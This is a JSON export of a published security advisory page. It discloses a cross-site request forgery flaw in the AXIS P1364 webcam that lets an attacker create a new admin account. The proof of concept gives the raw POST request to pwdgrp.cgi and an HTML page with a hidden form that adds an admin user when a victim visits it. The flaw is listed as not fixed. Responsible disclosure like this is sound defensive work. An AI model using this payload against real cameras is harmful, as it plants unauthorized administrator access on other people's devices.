{"id":22675,"date":"2024-06-27T09:53:29","date_gmt":"2024-06-27T07:53:29","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=22675"},"modified":"2024-07-02T10:47:46","modified_gmt":"2024-07-02T08:47:46","slug":"usd-2023-0007","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0007\/","title":{"rendered":"usd-2023-0007"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.25.2\" _module_preset=\"default\" custom_padding=\"||13px|||\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2023-0007 | AXIS P1364 - Webcam - Cross-Site Request Forgery (CSRF)<\/h1>\n<h1><\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2023-0007<br \/><strong>Product<\/strong>: AXIS P1364 - Webcam<br \/><strong>Affected Version<\/strong>: AXIS OS 9.80.12<br \/><strong>Vulnerability Type<\/strong>: Cross-Site Request Forgery (CSRF) (CWE-352)<br \/><strong>Security Risk<\/strong>: High<br \/><strong>Vendor URL<\/strong>: <a>https:\/\/www.axis.com<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: No, CSRF vulnerabilities are out of scope according to their <a href=\"https:\/\/help.axis.com\/en-us\/axis-vulnerability-management-policy\" target=\"_blank\" rel=\"noopener\">vulnerability management policy<\/a><br \/><strong>Vendor Status<\/strong>: Not fixed<br \/><strong>CVE number<\/strong>: Not requested yet<br \/><strong>CVE Link<\/strong>: Not requested yet<\/p>\n<h3>Description<\/h3>\n<p>A CSRF vulnerability in the web interface of the AXIS P1364 allows an attacker to create a new admin account.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>The application fails to protect critical actions against CSRF attacks.<br \/>The following request creates a new user in the AXIS camera and does not contain protection mechanisms against CSRF.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/axis-cgi\/pwdgrp.cgi<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">192.168.1.254<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">97<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/x-www-form-urlencoded;charset=UTF-8<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">*\/*<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Origin<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">[https:\/\/192.168.1.254]()<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Connection<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">close<\/span>\n<span class=\"na\" style=\"background: #263238;color: #bb80b3\">Authorization<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">Digest username=\"root\", realm=\"AX[...]<\/span>\n<span class=\"err\" style=\"background: #263238;color: #ff5370\">[...]<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">action<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">add<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">user<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">testuser<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">pwd<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">changeme<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">grp<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">users<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">strict_pwd<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">1<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #ff5370\">sgrp<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">viewer%3Aoperator%3Aadmin%3Aptz<\/span><\/pre>\n<\/div>\n<p>The following HTML creates a malicious website, which creates a new admin account once visited by the victim.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">html<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">  <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">body<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">  <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">script<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&gt;<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">history<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">pushState<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s1\" style=\"background: #263238;color: #c3e88d\">''<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s1\" style=\"background: #263238;color: #c3e88d\">''<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'\/'<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&lt;\/<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">script<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">form<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">action<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"[https:\/\/[REDACTED]\/axis-cgi\/pwdgrp.cgi\"<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">]<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">()<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">method<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"POST\"<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">      <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">input<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"hidden\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">name<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"action\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">value<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"add\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/&gt;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">      <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">input<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"hidden\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">name<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"user\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">value<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"pentestcsrf\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/&gt;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">      <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">input<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"hidden\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">name<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"pwd\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">value<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"changeme1234!\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/&gt;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">      <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">input<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"hidden\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">name<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"grp\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">value<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"users\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/&gt;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">      <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">input<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"hidden\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">name<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"strict_pwd\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">value<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"1\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/&gt;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">      <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&lt;<\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">input<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"hidden\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">name<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"sgrp\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">value<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\"viewer:operator:admin&amp;#58&gt;<\/span>\n<span class=\"ss\" style=\"background: #263238;color: #89ddff\">      &lt;input type=\"<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">submit<\/span><span class=\"ss\" style=\"background: #263238;color: #89ddff\">\" value=\"<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">Submit<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">request<\/span><span class=\"err\" style=\"background: #263238;color: #ff5370\">\"<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/&gt;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&lt;\/<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">form<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n<span class=\"w\" style=\"background: #263238;color: #eff\">  <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&lt;\/<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">body<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&gt;<\/span>\n<span class=\"o\" style=\"background: #263238;color: #89ddff\">&lt;\/<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">html<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&gt;<\/span><\/pre>\n<\/div>\n<h3>Fix<\/h3>\n<p>Implement unique CSRF tokens for state-changing requests.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/owasp.org\/www-community\/attacks\/csrf\" target=\"_blank\" rel=\"noopener\">https:\/\/owasp.org\/www-community\/attacks\/csrf<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2023-03-08<\/strong>: First attempt to contact the vendor via e-mail.<\/li>\n<li><strong>2023-03-22<\/strong>: Second second attempt to contact the vendor via e-mail.<\/li>\n<li><strong>2023-06-05<\/strong>: The vendor replies that CSRF vulnerabilities are out of scope according to their <a href=\"https:\/\/help.axis.com\/en-us\/axis-vulnerability-management-policy\" target=\"_blank\" rel=\"noopener\">vulnerability management policy<\/a>.<\/li>\n<li><strong>2024-06-27<\/strong>: This advisory is published.<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Christian P\u00f6schl of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2023-0007 | AXIS P1364 - Webcam - Cross-Site Request Forgery (CSRF) Advisory ID: usd-2023-0007Product: AXIS P1364 - WebcamAffected Version: AXIS OS 9.80.12Vulnerability Type: Cross-Site Request Forgery (CSRF) (CWE-352)Security Risk: HighVendor URL: https:\/\/www.axis.comVendor acknowledged vulnerability: No, CSRF vulnerabilities are out of scope according to their vulnerability management policyVendor Status: Not fixedCVE number: Not requested yetCVE Link: [&hellip;]<\/p>\n","protected":false},"author":118,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-22675","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22675","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=22675"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22675\/revisions"}],"predecessor-version":[{"id":22837,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22675\/revisions\/22837"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=22675"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}